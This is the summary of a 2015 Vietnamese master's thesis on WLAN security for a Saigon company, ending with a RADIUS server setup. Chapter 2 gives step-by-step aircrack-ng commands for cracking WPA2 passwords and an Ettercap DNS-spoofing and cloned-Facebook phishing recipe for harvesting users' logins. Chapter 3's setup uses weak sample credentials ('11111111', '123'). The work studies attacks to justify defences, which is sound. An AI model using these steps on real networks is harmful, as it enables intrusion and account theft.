BỘ GIÁO DỤC VÀ ĐÀO TẠO
ĐẠI HỌC ĐÀ NẴNG

NGÔ TÂN

XÂY DỰNG HỆ THỐNG BẢO MẬT MẠNG WLAN PHỤC VỤ KINH DOANH TẠI CÔNG TY SÀI GÒN HT

Chuyên ngành: KHOA HỌC MÁY TÍNH
Mã số: 60.48.01.01

TÓM TẮT LUẬN VĂN THẠC SĨ KỸ THUẬT

Đà Nẵng – Năm 2015

Công trình được hoàn thành tại
ĐẠI HỌC ĐÀ NẴNG

Người hướng dẫn khoa học: **PGS.TS. PHAN HUY KHÁNH**

Phản biện 1: TS. HUỲNH CÔNG PHÁP

Phản biện 2: PGS.TS. TRƯƠNG CÔNG TUẤN

Luận văn sẽ được bảo vệ trước Hội đồng chấm Luận văn tốt nghiệp thạc sĩ kỹ thuật họp tại Đại học Đà Nẵng vào ngày 17 tháng 08 năm 2015.

Có thể tìm hiểu luận văn tại:

- Trung tâm Thông tin-Học liệu, Đại học Đà Nẵng
- Thư viện trường Đại học Bách Khoa, Đại học Đà Nẵng

MỞ ĐẦU

1. Tính cấp thiết của đề tài

Vài năm gần đây, công nghệ thông tin nước ta phát triển một cách vượt bậc, đặt biệt là công nghệ mạng không dây wifi. Những thuận lợi của mạng không dây như tính linh động, hiệu quả và khả năng mở rộng rất linh động so với mạng có dây.

Bên cạnh những thuận lợi đó, mạng không dây có nhiều nhược điểm cần được khắc phục như do truyền bằng sóng điện từ nên có khả năng bị nhiễu cao, tốc độ truyền kém, hơn nữa mạng không dây rất dễ bị tấn công vì do các thông tin được truyền trong không khí nên dễ bị bắt được.

Theo thống kê sơ bộ của công ty Sài Gòn HT cho thấy đã có rất nhiều cuộc tấn công nhằm vào mạng nội bộ của công ty, gây ra sự nghẽn mạng, không vào được mạng, mất các dữ liệu mật và nhạy cảm của công ty cũng như khách hàng, vài tháng gần đây các hoạt động tấn công ngày càng tinh vi hơn, hiệu quả hơn, gây ra nhiều thiệt hại hơn so với lúc ban đầu.

Hơn nữa có nhiều cuộc phản ảnh của khách hàng khi chơi game online tại công ty khi đang uống nước giải khát là bị mất tài khoản game, gây mất mát rất nhiều các dụng cụ trên game online.

Có rất nhiều thư rác được gởi đến các tài khoản mail của khác hàng khi đăng nhập tại công ty trong khi khách hàng đang giải trí.

Tất cả các vấn đề đó đa phần là do cơ chế bảo mật của công ty không được tốt, làm giảm sự uy tín của công ty đối với khách hàng, đồng thời giảm số lượng các sản phẩm được bán ra, làm tăng nguy cơ thua lỗ của công ty.

Do đó em đã đề xuất đề *tài "**Xây dựng hệ thống bảo mật mạng WLAN phục vụ kinh doanh tại công ty Sài Gòn HT".***

Mục đích của em xây dựng hệ thống bảo mật mạng cho công ty nhằm bảo mật hệ thống dữ liệu và các thông tin quang trọng tránh được những sự rủi ro do tính chất bảo mật mạng kém của công ty làm ảnh hưởng đến lợi nhuận cũng như uy tín của công ty với khách hàng.

2. Mục tiêu và nhiệm vụ của đề tài

- Nghiên cứu các thành phần cơ bản của mạng WLAN.
- Nghiên cứu các các phương thức thiết lập và truy cập WLAN.
- Nghiên cứu các phương pháp tấn công và bảo mật mạng WLAN.
- Xây dựng hệ thống bảo mật mạng WLAN cho công ty.
- Chống các xâm nhập bất hợp pháp từ bên ngoài vào hệ thống mạng.

3. Đối tượng và phạm vi nghiên cứu

Đối tượng của đề tài nghiên cứu là nghiên cứu các cơ chế hoạt động của mạng WLAN, nghiên cứu các phương pháp tấn công và các giải pháp bảo mật, trên cơ sở đó xây dựng một hệ thống bảo mật tốt nhất có thể cho công ty.

4. Phương pháp nghiên cứu

Dựa trên hệ thống windows server của Microsoft ta xây dựng hệ thống bảo mật Radius Server. Cấu hình và kết nối AP để kiểm tra tính năng bảo mật của hệ thống. Đồng thời xem xét các khả năng tấn công có thể khi xây dựng chế độ bảo mật dựa trên hệ thống này.

5.Ý nghĩa khoa học và thực tiễn của đề tài

- Giúp ta hiểu rõ hơn về mô hình mạng WLAN.
- Hiểu rõ hơn về cách vận hành khai thác WLAN.
- Hiểu rõ hơn về các các tấn công và bảo mật mạng WLAN

- Giúp ta phòng tránh hiệu quả các vấn đề về bảo mật mạng WLAN.

- Xây dựng được một hệ thống mạng WLAN an toàn hơn cho công ty.

- Có ứng dụng cao trong thực tiễn.

6. Dự kiến kết quả

- Có thể hach được wifi có chế độ bảo mật WPA2.

- Sau hack được password wifi ta có thể lấy password facebook.

- Cài đặt được thực tế cơ chế bảo mật Radius Server

- Quản lý được các tài khoản truy cập vào mạng WLAN.

7. Cấu trúc của luận văn

Nội dung trình bày luận văn của em được bố cụ như sau:

Chương 1:Trình bày tổng quan về mạng WLAN, các ưu điểm nhược điểm của mạng WLAN, các phương pháp tấn công và bảo mật hệ thống WLAN.

Chương 2:Trình bày Demo cách tấn công lấy pass mạng wifi bảo mật WPA2 bằng phương pháp dò từ điển và cách lấy pass facebook bằng cách cách sử dụng DNS giả mạo.

Chương 3:Trình bày về cơ chế hoạt động và cách cấu hình giải pháp bảo mật Radius Server nhằm ứng dụng bảo mật mạng cho công ty sài gòn HT.

CHƯƠNG 1
GIỚI THIỆU VỀ MẠNG KHÔNG DÂY WLAN

1.1. GIỚI THIỆU TỔNG QUAN VỀ MẠNG WLAN

1.1.1. Giới thiêu về WLAN

Mạng WLAN là mạng Lan không dây, dùng để kết nối nhiều máy tính lại với nhau mà không cần đến dây dẫn, môi trường truyền dẫn của mạng WLAN là không khí, và sử dụng sóng vô tuyến để truyền và truyền theo mọi hướng trong không gian.

1.1.2. Ưu điểm của WLAN

Sự thuận tiện: Các client có thể di chuyển tự do trong vùng phủ sóng mạng WLAN. Tăng cường số lượng client kết nối mạng một cách nhanh chóng bằng cách thêm các AP.

1.1.3. Nhược điểm của WLAN

Bảo mật: Các SSID được quảng bá không được mã hóa nên rất dễ bị bắt được và nếu có password có thể xâm nhập vào mạng được.

Phạm vi: Phạm vi hoạt động chỉ có bán kính trong vài chục mét.

Độ tin cậy: Có thể bị nhiễu, chập chờn do môi trường.

Tốc độ: Tốc độ của mạng WLAN chậm hơn so với mạng có dây.

1.2. CÁC PHƯƠNG PHÁP TẤN CÔNG WLAN

Các phương pháp tấn công mạng phổ biến hiện nay:

1.2.1. Passive Attack

Là phương pháp tấn công đơn giản, không để lại dâu vết, là phương pháp tấn công gián tiếp cho các cuộc tấn công khác. Nó có thể lấy thông tin khi truyền trong không khí mà không được mã hóa. Nếu lấy được tài khoản thì dựa vào đó hacker có thể tấn công vào hệ thống mạng máy tính.

1.2.2. Active Attack

Tấn công chủ động là tấn công được thự hiện sau khi có được

tài khoản đăng nhập được vào mạng và sau đó thực hiện các cuộc tấn công vào hệ thống mạng, hoặc chủ chống động xâm nhập để lấy các account, password rồi từ cơ sở đó tấn công các hệ thống khác trong mạng WLAN, hoặc các hệ thống khác.

1.2.3. De-authentication Attack

Mục đích của kiểu tấn công xác thực lại là nhằm mục đích gây nghẽn mạng khi có quá nhiều yêu cầu xác thực.

Khi một máy muốn tham gia vào mạng thì nó phải qua một quá trình xác thực đối với AP. Khi attacker tham gia được vào mạng của hệ thống thì họ sẽ có được địa chỉ quảng bá gọi là broadcast. Họ sẽ sử dụng địa chỉ này mà gởi thông tin De-authentication đến tất cả các node mạng trong AP và yêu cầu các node mạng này xác thực lại. Các node mạng này sẽ chấp nhập thông điệp xác thực lại mà không nghi ngờ gì về tính chất xác thực của yêu cầu xác thực lại kia là có phải được gởi đến từ AP hay không.

Sau đó các node sẽ tiến hành xác thực và reconet.

Để làm nghẽn mạng hệ thống, attacker tiến hành phát tán liên tục các thông điệp xác thực đến các node trên mạng.

Việc các node đồng loạt xác thực và reconet sẽ làm nghẽn hệ thống mạng WLAN, dẫn đến không truy cập được vào mạng, tê liệt hệ thống.

1.2.4. Rogue Access Point

a. Giới thiệu

Access point giả mạo là các AP được tạo ra nhưng không phải là các AP có trong thiết kế của hệ thống mạng.

b. Phân loại

- Access Point được cấu hình không hoàn chỉnh.
- Access Point giả mạo từ các mạng WLAN lân cận.

- Access Point giả mạo do kẻ tấn công tạo ra.

- Access Point giả mạo được thiết lập bởi chính nhân viên của công ty.

1.2.5. Disassociation Flood Attack

Tấn công Disassociation Flood Attack là kiểu tấn công nhằm ngắt kết nối từ AP đến các máy client.

1.2.6. Tấn công dựa trên sự cảm nhận sóng mang lớp vật lý

Nguyên lý của phương pháp tấn công này là làm cho các máy tính luôn luôn trong trạng thái chờ khi attacker gởi xong dữ liệu trên đường truyền.

1.2.7. Jamming Attack

Mục đích của tấn công chèn ép là để làm shut down hệ thống mạng WLAN của hệ thống. Các attacker sử dụng bộ phát sóng RF có tần số cao, hay trùng với tần số của mạng WLAN được phát ra làm gây nhiễu các tín hiệu sóng truyền trong mạng WLAN.

Các node bên ngoài không thể truy cập vào AP nguyên nhân là do sóng truyền giữ AP và các node bị nhiễu.

Muốn xử lý tấn công chèn ép này, ta phải sử dụng máy phân tích phổ (máy cầm tay cho tiện) để xem có vùng sóng nào có cùng tần số với sóng WLAN đang phát hay không, từ đó xem nó xuất phát từ vị trí nào để đưa ra giải pháp phòng tránh hay sử lý.

Các sự nhiễu sóng do các thiết bị khác cùng tần số thường xảy ra là một điều khó tránh khỏi. Vì xung quanh có rất nhiều thiết bị dùng chung tần số với nhau. Do vậy cần phải quản lý tần số một cách có hiệu quả, sử dụng các tần số mà ít thiết bị sử dụng để tránh bị gây nhiễu không đáng có, và tạo sự thuận lợi cho mạng công ty.

1.2.8. Man In The Middle Attack (MITM)

Tấn công MITM nói đơn giản là có thể hiểu rằng, giữa hai

máy tính truyền thông tin cho nhau trong mạng, thì kẻ tấn công sẽ kết nối vào hệ thống mạng và đứng ở giữa hai người truyền thông tin với nhau. Attacker sẽ relay các tin cho cả hai bên, các gói tin của 2 bên sẽ đi qua máy của attacker.

Các loại tấn công MITM

Có ba loại tấn công MITM chủ yếu là: giả mạo ARP Cache, giả mạo DNS, chiếm quyền điều khiển Session.

1.2.9. Dictionary Attack

Tấn công từ điển là phương pháp tấn công đơn giản nhằm tra thử các từ trong từ điển có phải là password hay không, nếu phải thì ta có password còn không thì do tiếp cho đến hết từ điển.

1.3. CÁC GIẢI PHÁP BẢO MẬT WLAN

1.3.1. Vì sao lại phải bảo mật WLAN?

Vì mạng WLAN môi trường truyền trong là không khí, do đó có nhiều vấn đề như là dễ bị lấy dữ liệu khi đang truyền, bị nghẽn, bị nhiễu sóng… Vì vậy cần xây dựng các giải pháp để bảo vệ mạng WLAN tránh bị phá hoại bởi bên ngoài.

Vì vậy để bảo vệ mạng WLAN ta cần phải chú ý:

- Các vị trí mà mạng WLAN có thể bị xâm nhập:
- Các bước để bảo mật mạng WLAN:

1.3.2. WEP

WEP có nghĩa là bảo mật không dây tương đương với có dây. Web sử dụng 64 bít hoặc 128 bít làm khóa và không thay đổi, trong đó nó đã sử dụng 24 bít cho việc khởi tạo véc tơ mã hóa cho nên nó chỉ còn lại 40 bít hoặc 104 bít được sử dụng để truyền mã hóa dữ liệu trong mạng WLAN. Cơ chế bảo mật WEP có các khóa rất dễ dàng bị bẻ gãy bởi các công cụ WEPCrack.

1.3.3. WLAN VPN

Mạng riêng ảo được tạo ra nhằm mục đích tạo ra một kênh riêng lẽ cho các node mạng truy cập có cơ chế bảo mật cao nhằm tránh sự xâm nhập trái phép vào các hệ thống mạng.

1.3.4. TKIP

TKIP sử dụng các khóa động bằng cách đặt cho mỗi frame một chuỗi số riêng để chống lại các dạng tấn công giả mạo. Nó là một nâng cấp của WEP và vá các lỗi của những vấn đề về cách bảo mật do dòng RC4 trong WEP tạo ra.

1.3.5. AES

AES là một thuật toán mã hóa khối, thuật toán này được chính phủ Hoa Kỳ áp dụng làm tiêu chuẩn mã hóa, nó được nghiên cứu rất kỹ lưỡng nhằm mục đích là áp dụng trên phạm vi toàn thế giới.

1.3.6. WPA

WPA được ra đời khi công nghệ WEP có nhiều lỗi hổng, dễ dàng bị xâm nhập và phá hoại, nghe lén, lấy cắp dữ liệu. Nó khắc phục được nhiều nhược điểm của WEP. Sử dụng thuật toán TKIP và CR4, mã hóa đầy đủ 128 bít và có các khóa được thay đổi liên tục. Nó có cơ chế kiểm tra toàn vẹn thông tin để đảm bảo thông tin không bị sửa đổi trên đường truyền.

1.3.7. WPA2

WPA2 sử dụng mã hóa AES và CCMP nhằm thay thế cho TKIP. TKIP vẫn được sử dụng cho phương án dự phòng. Attacker cần có thời gian từ 6 đến 12 giờ để phá password WPA2 này. WPA2 cần khóa chức năng WPS.

Ta có các chuẩn bảo mật wifi, được xếp từ cao đến thấp:

- WPA2 + AES.

- WPA + AES.
- WPA + TKIP/AES
- WPA + TKIP.
- WEP.
- Mạng mở, không mã khóa.

1.3.8. Lọc (Filtering)

Lọc là cơ chế ta cho phép bất cứ thông tin ta mong muốn được đi vào và ngăn chặn các thông tin không mong muốn đi vào bên trong mạng. Nó hoạt động giống như cơ chế của Access list trên router. Có rất nhiều kiểu lọc như lọc ip, lọc giao thức, lọc SSID, lọc địa chỉ MAC. Dưới đây là các cách lọc cơ bản trong wireless lan:

- Lọc SSID: Mục đích là ẩn các SSID.
- Lọc giao thức: Lọc các giao thức của các gói tin đi từ lớp 2 đến lớp 7.
- Lọc địa chỉ MAC: cho phép các client có địa chỉ MAC mong muốn đi qua hoặc chặng các client có địa chỉ MAC không mong muốn.

CHƯƠNG 2
DEMO TẤN CÔNG VÀO MẠNG KHÔNG DÂY WLAN CÓ BẢO MẬT LÀ WPA2-PSK

2.1. DEMO TẤN CÔNG MẠNG

Ở đây em xin trình bày demo cách tấn công lấy password truy cập wifi và tài khoảng facebook để chứng minh rằng hệ thống bảo mật này vẫn còn có thể bị tấn công được bằng công cụ BACKTRACK 5.

2.1.1. Bẻ khóa mật khẩu mạng wifi chuẩn WPA2-PSK và AES bằng phương pháp Dictionary Attack.

Sau đây em xin dùng bộ công cụ Aircrack-ng để bẻ khóa mạng được bảo mật bởi cơ chế **WPA2-PSK và AES**.

Đây là các lệnh của việc tấn công và công dụng của nó trong demo tấn công này.

airmon-ng: Dùng để chuyển card wireless sang dạng **monitor** (chế độ nghe ngóng và ghi nhận tín hiệu).

airodump-ng: Dùng để phát hiện ra WLAN và bắt các gói dữ liệu (packet capture).

aireplay-ng: Tạo ra dòng tín hiệu.

aircrack-ng: Tìm ra mã khóa WPA2.

Mục đích của việc này là lắng nghe các dữ liệu trên đường truyền, và lưu cơ chế bắt tay vào 1 file. Sau đó dùng file này với một cuốn từ điển dạng "*.TXT" để dò các password có khả năng. Việc dò từ điển này trung bình thường từ 6 đến 12 tiếng, nếu có kí tự đặt biệt thì dò rất khó được.

Sau đây là các bước tấn công một mạng wifi.

Các bước thực hiện

Bước 1: Để thu nhận các tín hiệu trên mạng WLAN, chúng ta sử dụng lệnh **airmon-ng** để đưa card WLAN vào chế độ monitor. Sau đó tiếp tục với lệnh **airmon-ng start WLAN0** để khởi động lại adapter ở chế độ monitor.

Mục tiêu của chúng ta là tấn công các AP có cơ chế bảo mật là WPA2. Do đó chúng ta cần tìm các AP có cơ chế bảo mật WPA2 và các địa chỉ mác của các client kết nối đến nó. Điều này rất quan trong nêu tìm không được máy client kết nối đến AP thì chúng ta không thể tấn công được và sau khi đã tìm được chúng ta sử dụng cách tấn công **ARP replay** để tạo ra dòng dữ liệu cần thiết.

Chúng ta cần có ba thông tin để bắt đủ dòng dữ liệu, tạo điều kiện cho aircrack hoạt động: địa chỉ MAC/BSSID của AP mục tiêu, địa chỉ MAC/BSSID của máy trạm kết nối với AP, kênh (channel) đang được sử dụng bởi AP mục tiêu và máy trạm, bằng các sử dụng lệnh :**airodump-ng mon0**

Bước 2: Khởi động lệnh **airodump-ng** để thu thập thông tin về các mạng chuẩn bị tấn công bằng cách gõ lệnh: **airodump-ng –c 1 -w tan --bssid B0:48:7A:D5:57:92 --ivs mon0**.

Bước 3: Bước chạy airodump-ng lần trước, **airodump-ng --ivs --channel [AP channel] --bssid [AP BSSID] --write capturefile WLAN0.**

Các files dữ liệu bắt được cũng sẽ được lưu vào thư mục gốc /root và có dạng capturefile_nn.ivsnn là hai con số, ví dụ như capturefile_01.ivs.

Bước 4: Chạy lệnh **aireplay-ng -3 -b [AP BSSID] -h [client MAC from airodump] WLAN0.**

Lệnh này sẽ khởi động ARP lặp lại đối với AP mục tiêu bằng cách giả mạo địa chỉ MAC của STA kết nối đến AP này.

Bước 5: Đánh lệnh **aircrack-ng –b [AP BSSID] [capture file(s) name]**. Dòng lệnh có chứa dấu sao (*) để aircrack-ng sử dụng toàn bộ các file Ivs bắt được đã được lưu trên thư mục gốc Aircrack sẽ bắt đầu lục lọi trong số những gói dữ liệu đã bắt được để tìm ra khóa WEP.

Bước 6: Chạy lệnh **aircrack-ng –w pass. txt tan-01. cap** để thực hiện lấy password.

Trong một số trường hợp aircrack-ng sẽ kết thúc mà không tìm thấy khóa, nhưng đưa ra cho bạn một số đề xuất mà bạn có thể làm theo.

Để tránh tấn công bằng từ điển, cần thiết lập password phải mạnh (độ phức tạp cao).

2.1.2. Lấy account trang faceboo.com bằng kỹ thuật giả mạo DNS

Sau khi đã truy cập được vào mạng của hệ thống thì chúng ta sẽ dùng đến phương pháp tấn công MITM mà cách chúng ta sử dụng ở đây là giả mạo DNS. Cách tấn công này đơn giản nhưng hiệu quả cao, nếu bạn biết viết được code của website là một thuận lợi lớn trong việc tấn công này.

Ví dụ: http://www. microsoft.com có IP 207.46.232.182, thì cố gắng này sẽ được gửi đến một địa chỉ http://www. microsoft.com giả mạo cư trú ở địa chỉ IP 74.125.71.106, đây là địa chỉ mà kẻ tấn công đã tạo trước để đánh cắp các thông tin tài khoản ngân hàng trực tuyến từ người dùng. Có nhiều cách để có thể thực hiện vấn đề giả mạo DNS. Chúng tôi sẽ sử dụng một kỹ thuật mang tên giả mạo DNS ID.

Đầu tiên, chúng ta cần giả mạo ARP cache thiết bị mục tiêu để định tuyến lại lưu lượng của nó qua host đang tấn công của mình, từ đó có thể chặn yêu cầu DNS và gửi đi gói dữ liệu giả mạo.

Mục đích của kịch bản này là lừa người dùng trong mạng mục tiêu truy cập vào website độc thay vì website mà họ đang cố gắng truy cập. Để rõ hơn bạn có thể tham khảo thêm hình tấn công bên dưới.

Công cụ để chúng ta có thể thực hiện một cuộc tấn công giả mạo DNS là Ettercap, nó có thể sử dụng cho cả Windows và Linux trước khi thực thi Ettercap, yêu cần bạn cần phải thực hiện một chút cấu hình.

Trên linux bạn có thể theo đường dẫn **/usr/share/ettercap/etter.dns** để chỉnh sửa lại file etter.dns, đây là một file khá đơn giản và có chứa các bản ghi DNS mà bạn muốn giả mạo.

Chúng ta sẽ đưa người dùng nào đang cố gắng truy cập vào trang web www.facebook. com chuyển hướng đến một trang Phising được dựng sẵn trên máy chúng ta.

Các bước thực hiện

Bước 1: Khởi động backtrack 5 và cấu hình card mạng, trong backtrack5 ta thay đổi địa chỉ máy cài backtrack 5 là: IP**:192.168.0.130/24**, default gateway:**192.168.0.1,** tạo dns là **8.8.8.8.**

Bước 2: Sử dụng **Social Engineering Tookit** để giả mạo trang : **www.facbook.com**

Bước 3: Tiếp theo ta chon các mục sau để tạo ra trang web giả mạo, chọn:

Social-Engineering Attacks ➔ Website Attack vectors ➔ Credential Harvester Attack Method ➔ Site Cloner ➔ IP address for the POST back in Harvester/tabnabbing : **192.168.0.130** (IP máy tấn công) ➔ Enter the url to clone: **www.facebook.com** (Tên trang web cần tấn công).

Bước 4: Mở file etter.dns theo đường dẫn **/usr/share/ettercap/etter.dns** cấu hình như sau và lưu lại file.

Facebook. com A 192.168.0.130

*.**Facebook. com** A 192.168.0.130

www. Facebook. com PTR 192.168.0.130

Với 192.168.0.130 là địa chỉ IP của máy tấn công.

Bước 5: Thực hiện tấn công MITM bằng Ettercap, cấu hình ettercap theo tuần tự các bước như sau:

Chạy lệnh : **#ettercap -T -q -i eth0 -P dns_spoof -M arp // //**

Đợi máy nạn nhân truy cập vào trang **facebook. com** giả mạo và đăng nhập vào thì ta có được tài khoản của nạn nhân:

Ở đây ta đã thu được kết quả mong muốn là tài khoản nạn nhân.

Với các bước đơn giản và không có sự phòng bị của nạn nhân, các hacker đã lấy được tài khoản khá dễ dàng.

2.2. KẾT QUẢ ĐẠT ĐƯỢC

Ta đã tấn công thành công lấy được password wifi và tài khoản của máy client. Vì vậy cần phải có cơ chế bảo mật mạnh hơn WPA2 để cho hệ thống mạng tăng cường tính bảo mật.

CHƯƠNG 3
BẢO MẬT WLAN BẰNG PHƯƠNG PHÁP XÁC THỰC RADIUS SERVER VÀ WPA2

3.1. VẤN ĐỀ BẢO MẬT WLAN VÀ CÁC GIẢI PHÁP

3.1.1. Giới thiệu công ty

Công ty SÀI GÒN HT là công ty mua bán và bảo hành các thiết bị tin học gồm có tất cả là 35 nhân viên gồm kế toán, nhân viên bán hàng, nhân viên bảo hành máy tính và các thiết bị văn phòng, và nhân viên bảo vệ. WLAN dùng trong các dịch vụ doanh giải trí như xem phim, game online, cà phê wifi, vào internet.

3.1.2. Tình hình bảo mật mạng WLAN hiện nay của công ty

Theo thống kê sơ bộ của công ty Sài Gòn HT cho thấy đã có rất nhiều cuộc tấn công nhằm vào mạng nội bộ của công ty, gây ra sự nghẽn mạng, không vào được mạng, mất các dữ liệu mật và nhạy cảm của công ty cũng như khách hang, vài tháng gần đây các hoạt động tấn công ngày càng tinh vi hơn, hiệu quả hơn, gây ra nhiều thiệt hại hơn so với các tháng trước trước.

3.1.3. Các yêu cầu của giải pháp đề xuất

Vì vậy cần đưa ra một giải pháp hiệu quả cho sự bảo mật mạng của công ty. Một cơ chế bảo mật được ứng dụng cho công ty phải đáp ứng các yêu cầu sau đây: về tính hiệu quả của giải pháp, về chi phí của giải pháp, về sự vận hành và quản lý

Các giải pháp đề xuất cho việc bảo mật mạng WLAN của công ty

Qua quá trình nghiên cứu và phân tích các hệ thống bảo mật mạng hiện nay. Sau đây em xin đề xuất một số giải pháp cho việc bảo mật mạng của công ty SÀI GÒN HT: sử dụng tường lửa

Firewall, sử dụng cơ chế bảo mật WPA2-PSK và AES, giải pháp phát hiện xâm nhập mạng IPS, giải pháp xây dựng mạng riêng ảo VPN, giải pháp xây dựng RADIUS SERVER.

a. Nhận xét sơ lược các giải pháp đề xuất:

Mỗi giải pháp được đưa ra đều có ưu điểm và nhược điểm của nó.Dựa theo các tiêu chí về yêu cầu giải pháp mà chọn phương pháp hợp lệ.

Giải pháp RADIUS SERVER có các ưu điểm nổi trội sau đây: Dễ dàng cài đặt và quản lý, chi phí giá thành rẻ, hoạt động liên tục 24/24, bảo trì và sửa chữa dễ dàng, có thể dùng 1 RADIUS SERVER có nhiều AP.

b. Lựa chọn giải pháp

Với những ưu điểm vượt trội của hệ thống bảo mật **RADIUS SERVER** nên em đã đề xuất xây dựng hệ thống bảo mật tốt hơn đó chính là sử dụng hệ thống bảo mật **RADIUS SERVER**. Trong các hệ thống bảo mật WLAN ở công ty vừa và nhỏ thì hệ thống bảo mật **RADIUS SERVER** có thể nói là tốt nhất hiện nay, và đến bây giờ chưa có giải pháp pháp nào thay thế được giải pháp này.

3.2. GIỚI THIỆU TỔNG QUAN VỀ RADIUS SERVER

Sau đây em xin giới thiệu về cách thức của RADIUS hoạt động, và việc chạy máy chủ RADIUS để hỗ trợ cho việc xác thực WLAN có những ưu điểm gì hơn so với việc xác thực không có máy chủ.

3.2.1. Xác thực, cấp phép và kiểm toán

Có khả năng cung cấp xác thực tập trung, cấp phép và điều khiển truy cập. cho các phiên làm việc với SLIP và PPP Dial-up – như việc xác thực của các nhà cung cấp dịch vụ ISP.

Server này có khả năng tập trung lại thành một điểm duy nhất của tất cả các dữ liệu, thông tin người dùng, và các điều kiện để truy

cập được và hệ thống mạng.

Sau khi đăng nhập thì sẽ có yêu cầu truy cập thông qua một port được xác định do máy chủ.

Máy chủ sẽ kiểm tra thông tin trong cơ sở dữ liệu, nếu đúng thì được đăng nhập, còn không thì thoát.

Khi thông tin được máy chủ kiểm tra thỏa mãn thì nó cho phép truy cập mạng với thiết kế bảo mật dành riêng cho tài khoản đó.

Khi có kết nối thì bộ đếm của RADIUS sẽ được thiết lập cho các phiên làm việc. Cuối cùng khi kết thúc phiên làm việc NAS gởi thông điệp ngưng kết nối với phiên là RADIUS Accounting-Request (Stop) để giải phóng băng thông trên đường truyền mạng.

3.2.2. Sự bảo mật và tính mở rộng

Các thông điệp message type, sequence number, length, Authenticator, và một loạt các Attribute-Value được đóng gói bằng giao thức UDP.Các password trong khi trao đổi được mã hóa. NAS và AAA Server là sử dụng Authenticator để hiểu được các thông tin đã được mã hóa như mật khẩu, các khóa.

Các số ngẫu nhiên, các thông điệp phản hồi, các thông số bảo mật sẽ được MD5 băm để tạo thành các chuỗi mã hóa khác nhau cho quá trình xác thực, nhằm tăng độ phức tạp.

Trong các cặp đôi giá trị Attribute-Value pairs nó bao gồm các User-Password, NAS-IPAddress, NAS-Port, Service-Type. Các nhà sản xuất cũng có thể định nghĩa các các giá trị riêng này nhằm để mang các thông tin của mình.

3.2.3. Áp dụng RADIUS cho WLAN

Trong quá trình xác thực, thông tin yêu cầu kết nối sẽ được gởi đi đến AP. Các thông tin này được gởi đến AAA server. Nếu các AP nhận được thông điệp chấp nhận truy cập từ AAA server thì sẽ cho

client kết nối. Các thông tin được truyền sẽ được mã hóa bởi AES hoặc TKIP. Ngược lại thì client sẽ bị ngắt kết nối với AP.

Khi các dữ liệu được truyền trên đường truyền từ máy trạm đên các AP khác thì các máy trạm khác có thể bắt được các gói tin trên đường truyền đó. Do vậy cần phải mã hóa dữ liệu để bảo đảm tính bảo mật trước khi truyền trên đường truyền đến AP hoặc đến trạm.

3.2.4. Các lựa chọn nâng cấp

Trong máy chủ RADIUS server bạn cần phải thiết lập một máy chủ AAA để hỗ trợ interaction trong quá trình xác thực của WLAN. Cần cập nhật các phiên bản phần mềm cho server. Nếu hệ thống có nhiều AP thì cần sử dụng RADIUS để quản lý tập trung, điều này khó khăn khi thực hiện trên hệ thống lớn.

Cần sử dụng kết hợp các giải pháp bảo mật cho WLAN.

3.2.5. Chúng ta sẽ lựa chọn máy chủ RADIUS hợp lý :

Cần phải lựa chọn các RADIUS server phù hợp với các yêu cầu của doanh nghiệp về giá cả, tính bảo mật, tính dễ quản lý và hiệu quả.

3.3. MÔ TẢ TỔNG QUAN HỆ THỐNG RADIUS SERVER

Do sự phát triển của mạng WLAN, nên các sự bảo mật và tấn công đối với mang WLAN cũng phát triển theo đó.

Các yêu cầu của RADIUS SERVER

- Yêu cầu:

Cài cấu hình RADIUS server trên Window Server 2003, tạo user và password cho các client dự định tham gia vào mạng. Trên TP Linksys, thiết đặt *security mode* là WPA2-Enterprise. Cho PC tham gia vào mạng, kiểm tra kết nối.

- Thiết bị yêu cầu:

Một PC làm RADIUS SERVER được nâng cấp Domain

Controller và sử dụng hệ điều hành windows Server 2003 Enterprise Edition. Một PC sử dụng điều hành XP Professional làm client.

3.4. QUY TRÌNH CÀI ĐẶT VÀ KẾT NỐI

3.4.1. Các bước cài đặt

Bước 1: Cài DHCP

Vào Control panel ➔ Add/remove program ➔ Add/remove Windows components ➔ Networking Services ➔ Chọn ☑ Dynamic Host Configuration Protocol (DHCP) ➔ Chọn OK

Bước 2: Cài Enterprise CA

Control panel ➔ Add/remove program ➔ Add/remove Windows components ➔ Certificate services ➔ Chọn ☑ Certificate Services CA và Chọn ☑ Certificate Services Web Enrollment Support ➔ Chọn OK (Trong quá trình cài đặt nhớ chọn luôn IIS để dùng Web Enrollment Wizard). Trong các wizard tiếp theo ta chọn "Enterprise root CA" và đặt tên cho CA này là "wifi".

Bước 3: Cài Radius

Vào Control panel ➔ Add/remove program ➔ Add/remove Windows components ➔ Networking Services ➔ Chọn ☑ Internet Authentication Service.

Bước 4: Chuyển sang Native Mode

Để điều khiển truy cập của user qua Remote Access Policy. Mở Active Directory Users and Computers Console từ thư mục Administrative Tools, click phải chuột vào tên server và chọn "Raise domain Functional Level"

Bước 5: Cấu hình DHCP

Mở DHCP Console từ thư mục Administrative Tools, bấm phải chuột vào tên server và chọn "Anthorize" để đăng ký với DC.

Tạo một Scope có tên là “wifi”. Scope range: 192.168.0.120/24 ➔ 192.168.0.150. Lease Duration: 2 ngày. Default Gateway: 192.168.0.1. DNS Server: 192.168.0.101, 8.8.8.8.

Bước 6: Cấu hình Radius

Chọn IAS Console ➔ *Internet Authentication Service (Local)* và chọn *"Register Server in Active Directory"* ➔ Chọn RADIUS Client ➔ chọn "New RADIUS Client": nhập Địa chỉ IP và Secret key.

Ở "Client-Vendor" ➔ "RADIUS Standard" và Shared Secret là “11111111” (phải trùng với shared key trên AP).

Bước 7: Tạo users, cấp quyền Remote access cho users và cho computer

Mở Active Directory Users and Computers Console từ thư mục Administrative Tools: ta tạo 1 OU “wifi”, trong OU này ta tạo 1 user “User1”, password là “123”, ta tạo tiếp 1 computer có tên là “WirelessClient”, cũng trong OU “wifi” ta tạo 1 group “wifi1”, các thành viên của group này là: “WirelessClient” và user “User1”. Vào User account ➔ Dial-in Tab ➔ ở mục Remote Access Permission chọn “Control Access through Remote Access Policy” để quản lý việc ra vào của User qua IAS.

Bước 8: Tạo Remote Access Policy

Mở IAS Console từ thư mục Administrative Tools ➔ Remote Access Policies ➔ New Remote Access Policies. Đặt tên cho Policy này là “wifi”, access mode là “Wireless”. Ta chọn phương thức xác thực cho policy này là PEAP ➔ Finish.

Bước 9: Cấu hình AP và khai báo địa chỉ máy RADIUS

Mở IE ➔ Trên thanh Address Bar ta gõ vào 192.168.0.1 (để vào cấu hình AP) ➔ Chọn Tab Wireless ➔ Tab Wireless Security

3.4.2. Kết nối từ client đến AP

